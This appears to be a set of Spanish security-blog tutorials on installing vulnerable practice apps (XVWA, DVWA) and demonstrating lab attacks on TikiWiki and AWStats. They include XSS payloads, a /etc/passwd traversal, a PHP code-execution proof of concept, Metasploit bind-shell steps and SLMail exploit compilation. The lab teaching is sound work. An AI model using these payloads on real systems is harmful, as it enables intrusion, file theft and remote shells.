Instalación de Xtreme Vulnerable Web Application (XVWA)

Body

XVWA es una aplicación web codificada de manera incorrecta, la cual ha sido escrita en PHP/MySQL para ayudar a los entusiastas a aprender sobre seguridad en aplicaciones web. No se recomienda hospedar esta aplicación web en línea, pues está diseñada para ser “eXtremadamente Vulnerable”. Se recomienda hospedar la aplicación web en un entorno local controlado, para practicar la afilada experiencia ninja de seguridad en aplicaciones web utilizando las herramientas preferidas.

Es totalmente legal romper esta aplicación web. La idea es evangelizar a la comunidad sobre seguridad en aplicaciones web de una manera fundamental y sencilla. Además de aprender y adquirir esta experiencia para propósitos benignos.

A continuación se describe el procedimiento para instalar la versión de XVWA más reciente disponible al momento de escribir el presente texto.

Descomprimir el archivo descargado desde el sitio web oficial del proyecto en el directorio web raíz.

Definir en el archivo de nombre “config.php” la información de la base de datos a utilizar.

>

Adicionalmente realizar los siguiente cambios en el archivo de configuración de nombre “/etc/php5/apache2/php.ini”.

file_uploads = on
allow_url_fopen = on
allow_url_include = on

Ingresar a la aplicación para configurar la base de datos y las tablas accediendo a la siguiente URL:

http: // DireccionIP/xvwa/setup/

Hacer clic en el botón de nombre “Submit / Reset”. Los mensajes expuestos indican la culminación de una configuración satisfactoria.

Hacer clic en el botón ubicado en el lado superior derecho de nombre “Login”, para luego escribir las credenciales por defecto de XVWA.

Ahora se puede empezar a atacar las diversas vulnerabilidades incluidas en XVWA.

Importante

Recordar no hospedar esta aplicación en un entorno de producción. XVWA es una aplicación web completamente vulnerable, la cual puede conducir a un completo compromiso del sistema subyacente.

Fuentes:

https://github.com/s4n7h0/xvwa

Instalación de Damn Vulnerable Web Application (DVWA)

Body

Damn Vulnerable Web Application es una aplicación web vulnerable desarrollada en PHP/MySQL. Su principal objetivo es ayudar a los profesionales en seguridad para realizar la evaluación de sus conocimientos y herramientas en un entorno legal, ayuda a los desarrolladores web a entender mejor los procesos de asegurar aplicaciones web, y ayuda a los estudiantes y profesores en el aprendizaje sobre seguridad en aplicaciones web con un entorno controlado de clases.

El objetivo de DVWA es permitir la practica de las vulnerabilidades web más comunes, con varios niveles de dificultad, aunado a una interfaz sencilla. Pero tener en consideración la existencia de vulnerabilidades documentadas y no documentadas en este software. Esto es intencional, pues esto anima a descubrir tantos problemas como sea posible.

A continuación se describe el procedimiento de instalar la versión 1.9 de DVWA, la cual es la versión más reciente al momento de escribir el presente texto.

Se procede a descargar y descomprimir el archivo en el directorio raíz del servidor web.

Crear la base de datos con la información detallada en el archivo de nombre “/config/config.inc.php”.

Utilizando un navegador web se ingresa hacia DVWA.

Se expone con texto en color rojo la posibilidad de presentarse inconvenientes cuando se intente completar estos módulos. Para solucionar el inconveniente relacionado a “PHP function allow_url_include”, se modifica la siguiente línea en el archivo “/etc/php5/apache2/php.ini”.

allow_url_include = On

Solucionado este tema, se procede a hacer clic en el botón de nombre “Create / Reset Database”, para crear la base de datos.

Al hacer clic en en el enlace con el texto “login” se direcciona automáticamente hacia la página principal de DVWA.

Utilizar las credenciales por defecto para ingresar a DVWA.

Para configurar el “Captcha” se necesita utilizar el servicio de Google para generar una llave privada y pública, la cual deberá ser copiada dentro del archivo de nombre “config/config.inc.php”. La URL de registro está ubicada en la parte final del presente escrito.

Importante
DVWA es una aplicación vulnerable, no se debe de publicar en servidores públicos en Internet, pues podrían ser fácilmente comprometidos. Se recomienda utilizarlo dentro de una máquina virtual, definiendo el modo de red a NAT.

Fuentes:

http://www.dvwa.co.uk/
https://github.com/RandomStorm/DVWA
https://secure.php.net/manual/en/filesystem.configuration.php#ini.allow…
https://www.google.com/recaptcha/admin/create

Redirección Abierta en AWStats Versión 6.4

Body

AWStats es una herramienta poderosa y con diversas funcionalidades, la cual genera estadísticas avanzadas para servidores web, streaming, ftp o de correo electrónico de manera gráfica. Este analizador de archivos “log” funciona como un CGI o desde una línea de comandos, y muestra toda la información posible contenida en los archivos “logs”.

Se ha identificado en AWStats una vulnerabilidad de redirección abierta (Open Redirect) en el parámetro de nombre “url” en el script en perl de nombre “awredir.pl”.

Una redirección abierta es una aplicación la cual toma un parámetro y redirecciona al usuario hacia un valor del parámetro sin ninguna validación. Esta vulnerabilidad puede ser utilizada para ataques de phishing con la intención de los usuarios visiten sitios web maliciosos sin percatarse.

Para la siguiente demostración se utiliza la versión de AWStats incluida en la máquina virtual OBWAP 1.1.1. Además se ejecuta al unísono ZAP.

Se ingresa hacia la aplicación web vulnerable.

Se evalúa la siguiente prueba de concepto.

http:// IP/awstats/awredir.pl?url=http:// www. google. com

Con la ayuda de Zed Attack Proxy puede visualizarse y comprobarse como se realiza la redirección hacia el sitio web indicado en el parámetro.

Las redirecciones y reenvíos no validados son posibles cuando una aplicación web acepta entradas no confiables, las cuales podrían causar en la aplicación web un redireccionamiento de la petición hacia una URL conteniendo entradas no confiables.

Fuentes:

http://sourceforge.net/p/owaspbwa/tickets/search/?q=!status%3Aclosed
http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-4547
http://www.tenable.com/pvs-plugins/5249
https://www.owasp.org/index.php/Open_redirect
https://www.owasp.org/index.php/Unvalidated_Redirects_and_Forwards_Chea…

Cross Site Scripting (XSS) Reflejados en TikiWiki Versión 1.9.5

Body

Tikiwiki es un sistema gestor de contenidos open source escrito en PHP distribuida bajo licencia LGPL. Además de habilitar sitios web y portales en Internet sobre intranets o extranets, contiene un número de características de colaboración las cuales permite operar como un GeoCMS o aplicación web Groupware.

Para las siguientes demostraciones se utiliza la versión de TikiWiki incluida en la máquina virtual OBWAP versión 1.1.1.

CVE-2007-6526

Se ha identificado una vulnerabilidad de Cross-site Scripting (XSS) en el archivo de nombre “tiki-special_chars.php” en versiones anteriores a 1.9.9 de TikiWiki, la cual permite a atacantes remotos inyectar scripts o HTML arbitrario en la web mediante el parámetro de nombre “area_name”.

Se evalúa la siguiente prueba de concepto

http:// IP/ tikiwiki/tiki-special_chars.php?area_name=<script>alert("XSS!") ;</script>

CVE-2006-5703

Se ha identificado una vulnerabilidad de Cross-site Scripting (XSS) en el archivo de nombre “tiki-featured_link.php” en la versión 1.9.5 de TikiWiki, la cual permite a atacantes remotos inyectar scripts o HTML arbitrario mediante el parámetro de nombre “url” el cual evade los filtros, como es demostrado por un valor del parámetro conteniendo un elemento SCRIPT malformado y anidado.

Se evalúa la siguiente prueba de concepto.

http:// IP/tikiwiki/tiki-featured_link.php?type=f&url=%22%20%3E%3C/iframe%3E%3Cscr%3C/script%3Eipt%3Ealert%28%27XSS%27%29%3C/scri%3C/script%3Ept%3E%20%3C!--

Mediante un Escaneo Activo utilizando Zed Attack Proxy también es factible identificar esta vulnerabilidad.

Aunque los XSS son Reflejados, las consecuencias de un ataque XSS es el mismo sin importar sean XSS reflejados, almacenados o Basados DOM. La diferencia reside en como la carga útil o “Payload” llega hacia el servidor. Los más severos ataques de XSS implican la exposición de la cookie de sesión del usuario, permitiendo al atacante secuestrar la sesión del usuario y controlar la cuenta. Otros ataques dañinos incluyen la exposición de archivos del usuario, instalación de caballos de troya, redireccionar al usuario hacia alguna otra página o sitio, o modificar la presentación del contenido.

Fuentes:

http://sourceforge.net/p/owaspbwa/tickets/search/?q=%21status%3Aclosed
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-5703
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6526
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1047
https://www.owasp.org/index.php/Cross-site_Scripting_%28XSS%29

Vulnerabilidad de Recorrido de Directorio en TikiWiki (tiki-listmovies)

Body

Tikiwiki es un sistema gestor de contenidos open source escrito en PHP distribuida bajo licencia LGPL. Además de habilitar sitios web y portales en Internet sobre intranets o extranets, contiene un número de características de colaboración las cuales permite operar como un GeoCMS o aplicación web Groupware.

Una vulnerabilidad de recorrido de directorio en el archivo de nombre “tiki-listmovies.php” ha sido identificado en versiones anteriores a la 1.9.9, la cual permite a atacantes remotos leer archivos arbitrarios mediante un .. (punto punto) y un nombre de archivo modificado en el parámetro de nombre “movie”.

Para la siguiente demostración se utiliza la versión de TikiWiki incluida en OBWAP 1.1.1 al unísono de utilizar Zed Attack Proxy.

Se ingresa a TikiWiki, puntualmente a la página conteniendo el parámetro vulnerable.

Se evalúa la siguiente prueba de concepto, donde se define en el parámetro de nombre “movie”, un recorrido de directorios hasta el archivo "/etc/passwd".

http:// IP/ tikiwiki/tiki-listmovies.php?movie= ../../../../../../etc/passwd%001234

Con la ayuda de ZAP se puede visualizar la respuesta devuelta por TikiWiki, en la cual se observa parte del archivo de nombre “/etc/passwd”, pues según el reporte de la vulnerabilidad, únicamente se pueden obtener los primeros 1000 bytes del archivo.

Razón por la cual si se hace la petición hacia un archivo como el “/etc/hosts” de OBWAP, se obtendrá el archivo completo, pues es inferior a 1000 bytes.

En diversos sistemas operativos el “%00” o byte nulo puede ser insertado para terminar el nombre del archivo.

Se debe tener los permisos y privilegios suficientes para leer los archivos requeridos, caso contrario no será posible hacerlo. El contenido de los archivos factibles de ser obtenidos mediante esta vulnerabilidad pueden ser utilizados para posteriores ataques.

Fuentes:

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6528
http://www.securityfocus.com/bid/27008/exploit
http://sourceforge.net/p/owaspbwa/
https://www.owasp.org/index.php/Path_Traversal
http://sourceforge.net/p/owaspbwa/tickets/20/

Ejecución Remota de Código PHP en TikiWiki (tiki-graph_formula)

Body

Tikiwiki es un sistema gestor de contenidos open source escrito en PHP distribuida bajo licencia LGPL. Además de habilitar sitios web y portales en Internet sobre intranets o extranets, contiene un número de características de colaboración las cuales permite operar como un GeoCMS o aplicación web Groupware.

Las versiones de TikiWiki inferiores o iguales a la 1.9.8 contienen una falla la cual permite a un atacante remoto ejecutar código PHP arbitrario. Este problema se debe al script de nombre “tiki-graph_formula.php”, el cual no limpia adecuadamente la entrada proporcionada por el usuario hacia “create_function()”, lo cual permite a un atacante remoto ejecutar código PHP arbitrario generando una perdida de la integridad.

Para la siguiente demostración se utiliza la versión de “TikiWiki” incluida en OBWAP 1.1.1.

Ingresar a la aplicación web utilizando un navegador web como Firefox.

Se utiliza la siguiente prueba de concepto (PoC) para verificar la existencia de la vulnerabilidad.

http:// Dominio/tikiwiki/tiki-graph_formula.php?w=1&h=1&s=1&min=1&max=2&f[]=x.tan.phpinfo()&t=png&title=

Para automatizar la explotación se utiliza Metasploit Framework. Se procede entonces a buscar el módulo adecuado para explotar la vulnerabilidad.

msf > search tikiwiki
msf > use exploit/unix/webapp/tikiwiki_graph_formula_exec

Ubicado el exploit se definen sus opciones requeridas.

El “Payload” o carga útil utilizado con el exploit será “php/bind_perl”. El cual desplegará una shell de comandos PHP, mediante una conexión TCP enlazada.

msf > show payloads
msf > set payload php/bind_perl

Definidos todos las opciones, se ejecuta el exploit. Si todo se ha realizado correctamente se obtendrá una shell de comandos en el sistema operativo.

Aunque no se tiene control del sistema con un usuario privilegiado como “root”, a partir de este punto se pueden aplicar todas las técnicas posteriores a una explotación satisfactoria, como tratar de elevar privilegios.

Fuentes:

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5423
https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2007-5423
https://www.rapid7.com/db/modules/exploit/unix/webapp/tikiwiki_graph_fo…
http://sourceforge.net/p/owaspbwa/tickets/search/?q=!status%3Aclosed
https://info.tiki.org/

Compilar un Exploit para Windows en Kali Linux utilizando MinGW

Body

MinGW proporciona un completo conjunto de herramientas open source para programación, el cual es adecuado para desarrollar aplicaciones Windows nativas, las cuales no dependen de DLLs C-Runtime de terceros. Depende de un número de DLLs proporcionadas por Microsoft, como componentes del sistema operativo; el más notable entre estos es MSVCRT.DLL, la librería C en tiempo de ejecución de Microsoft. Adicionalmente las aplicaciones deben entregarse con un soporte DLL libremente distribuido, proporcionada como parte misma de MinGW.

Se procede a instalar la herramienta en Kali Linux utilizando el gestor de paquetes.

# apt-get install mingw32

Para la siguiente demostración se utilizar un exploit escrito en C para explotar una vulnerabilidad en el software de nombre SLMail versión 5.5.

Existe una vulnerabilidad no autenticada de desbordamiento de buffer en el servidor POP3 de SLMail 5.5 cuando se envía una contraseña con una longitud excesiva. La explotación satisfactoria no hará caer ya sea el servicio o el servidos, sin embargo, después del uso inicial del puerto no podrá ser reutilizado para explotaciones subsecuentes hasta el ser el servicio reiniciado.

Se ubica y visualiza el código del exploit.

# cat /usr/share/exploitdb/platforms/windows/remote/646.c

Se procede a compilar el exploit. La opción “-lws2_32” define la librería a utilizar para la compilación, esto a razón de estar compilando una aplicación la cual utilizará sockets. La opción “-o” define el nombre del archivo generado.


# i586-mingw32msvc-gcc 646.c -lws2_32 -o /tmp/slmail.exe

Luego de realizada la compilación se obtiene un archivo ejecutable Windows PE.

# file /tmp/slmail.exe
# xxd -l 400 /tmp/slmail.exe

Para utilizar este archivo ejecutable de Windows en Kali Linux se utiliza Wine. Wine es una herramienta la cual permite ejecutar aplicaciones diseñadas para Windows en otros sistemas operativos como GNU/Linux.

# wine /tmp/slmail.exe

El archivo se ejecuta correctamente. La siguiente acción sería definir los parámetros requeridos por el exploit, para ejecutarlo contra el sistema vulnerable.

Fuentes:

https://www.rapid7.com/db/modules/exploit/windows/pop3/seattlelab_pass
http://www.securityfocus.com/bid/7519/
http://www.mingw.org/
https://www.winehq.org/

Encontrar Exploits en Kali Linux utilizando Searchsploit

Body

Existen diversas fuentes confiables conteniendo códigos de exploits públicos. Dos de los archivos de vulnerabilidades más reconocidos son Exploit-Database y el mítico SecurityFocus. Exploit-DB es un archivo de exploits públicos y su correspondiente software vulnerable, el cual ha sido desarrollado para se utilizado por profesionales en pruebas de penetración e investigadores de vulnerabilidades. Su objetivo es servir como la colección más completa de exploits obtenidos a través de envíos directos, listas de correo, y otras fuentes públicas, presentadas en una base de datos fácilmente navegable y disponible libremente. SecurityFocus se gestó en el año 1999, y ha sido un pilar en la comunidad de seguridad. Los exploits publicados en estos sitios son examinados cuidadosamente, y no son publicados si se detectase su falsedad.

Kali Linux contiene una copia local de los exploits archivados en Exploit-DB. La utilidad de nombre “searchsploit” permite buscar a través de los exploits utilizando uno o más términos de búsqueda.

Se ejecuta searchsploit con la opción “-h” para mostrar su ayuda.

# searchsploit -h

Las opciones de la herramienta se detallan a continuación realizando búsquedas de exploits para "wu-ftpd".

La opción “-c” realiza una búsqueda sensible a mayúsculas (Por defecto no lo es).

La opción “-t” busca únicamente el título del exploit (Por defecto es el título y la ruta del archivo).

# searchsploit -t wu-ftpd

La opción “-v” genera verbosidad.

# searchsploit -v wu-ftpd

La opción “-w” muestra la URLs hacia Exploit-DB.com en lugar de la ruta local.

# searchsploit -w wu-ftpd

Algunas anotaciones sobre la herramienta.

  • Es factible utilizar cualquier número de términos de búsqueda, en cualquier orden.
  • Los términos de búsqueda no son sensibles a mayúscula, y el orden es irrelevante.
  • Cuando se actualice desde git o muestra la ayuda, los términos de búsqueda serán ignorados.

Encontrado el exploit requerido ingresar al directorio local indicado por la herramienta searchsploit.

En caso se trate de un exploit el cual requiere ser compilado manualmente, revisar el código fuente donde probablemente se encuentren las instrucciones de uso.

Fuentes:

https://github.com/offensive-security/exploit-database/blob/master/sear…
http://exploit-db.com/
http://www.securityfocus.com/
https://github.com/offensive-security/exploit-database-bin-sploits

Obtener los ASN de Organizaciones desde un Registrador de Internet Regional

Body

Los números de sistemas autónomos ASN son utilizados por diversos protocolos de encaminamiento. La IANA (Internet Assigned Numbers Authority) asigna ASNs hacia RIR (Regional Internet Registries) o Registradores de Internet Regional. Los RIRs luego asignan ASNs hacia los operadores de red alineados con las políticas RIR.

El protocolo BGP (Border Gateway Protocol) utiliza exclusivamente direcciones de red IP y ASN. El ASN es un entero de 16-bits el cual una organización compra a ARIN para identificarse a si mismo sobre la red. Se puede pensar en un ASN como una dirección IP para una organización.

La siguiente información se basa en consultas realizadas a información proporcionada por LACNIC.

Se descarga desde el FTP de LACNIC el archivo más reciente conteniendo información sobre la asignación del espacio de direcciones IP y ASN.

# wget ftp:// ftp.lacnic.net/pub/stats/lacnic/ delegated-lacnic-latest

Al visualizar el archivo se expone el formato en el cual se almacena la información. El cual es un archivo de texto fácilmente manipulable con algunos comandos Linux.

# cat delegated-lacnic-latest

Los dos primeros filtros permiten únicamente exponer las líneas conteniendo las letras “PE” para Perú, para luego filtrar por las líneas conteniendo el texto “asn”. De esta manera se obteniene el listado de los ASN asignados a Perú.

# cat delegated-lacnic-latest | grep PE | grep asn > asn_pe

Para realizar las consultas pertinentes se debe utilizar el valor numérico del ASN, es decir lo ubicado en el cuarto campo del archivo. Se aplica un comando en Linux el cual permite cumplir este criterio.

# cat asn_pe | cut -d "|" -f 4 > asn_pe_list

Los ASNs ahora se encuentran almacenados en un archivo.

Team Cymru proporciona un servidor whois el cual incluye algunas funcionalidades adicionales. El cual acepta argumentos en línea de comando para realizar consultas whois de ASNs. Utilizando la poderosa shell de comandos en Linux es factible automatizar estas consultas.

# for i in $( cat asn_pe_list); do whois -h whois.cymru.com " -v AS$i"; done

Finalizadas las consultas se tiene información básica sobre los ASNs de las organizaciones para Perú. Este mismo procedimiento puede ser realizado hacia los otros Registradores de Internet Regionales (RIR).

Fuentes:

ftp://ftp.lacnic.net/pub/stats/lacnic/delegated-lacnic-latest
http://www.iana.org/assignments/as-numbers/as-numbers.xhtml
http://www.team-cymru.org/IP-ASN-mapping.html
http://www.lacnic.net

Escanear Servicios SNMP utilizando SNScan

Body

SNSscan is una utilidad basada en Windows para la detección de SNMP (Simple Network Management Protocol), el cual puede identificar rápidamente y con precisión servicios SNMP habilitados sobre la red.

SNScan permite escanear puertos específicos SNMP (puertos UDP 161, 193, 291 y 1993) y la utilización del nombre de comunidad estándar (public) como también nombres de comunidad definidas por el usuario. Estos pueden ser utilizados para evaluar más efectivamente la presencia de dispositivos con SNMP habilitados en redes más complejas.

SNScan esta hecho para ser utilizado por administradores de redes y sistemas como una utilidad rápida y confiable para capturar información. No indica si el dispositivo con SNMP habilitado es vulnerable a amenazas específicas. SNScan puede identificar rápidamente y con precisión probables áreas de exposición a vulnerabilidades relacionadas a SNMP.

Dado el hecho de ser una herramienta visual, ejecutar el archivo pertinente.

Se define la dirección IP inicial y final del rango de red a escanear.

Se activan todos los puertos UDP SNMP a escanear (161, 162, 193, 199, 391, 1993).

La herramienta proporciona la capacidad de definir un archivo conteniendo un listado de cadenas de comunidad, mediante la opción “Multiple name from list”.

Las cadenas de comunidad SNMP son únicamente utilizadas por dispositivos los cuales soportan el protocolo SNMPv1 y SNMPv2c, SNMPv3 utiliza autenticación mediante usuario y contraseña, junto con una clave de cifrado. Por convención la mayoría de equipos SNMPv1 y SNMPv2c se entregan de fábrica con una cadena de comunidad de solo lectura definida a "public".

Para iniciar el escaneo hacer clic en el botón con el ícono en color azul de “play”.

Los resultados obtenidos por la herramienta serán presentados conforme son obtenidos. Estos resultados pueden ser copiados al portapapeles o guardados hacia un archivo CSV.

Fuentes:

https://tools.ietf.org/html/rfc3413
http://www.mcafee.com/us/downloads/free-tools/snscan.aspx
https://github.com/rustyrobot/fuzzdb/blob/master/wordlists-misc/wordlis…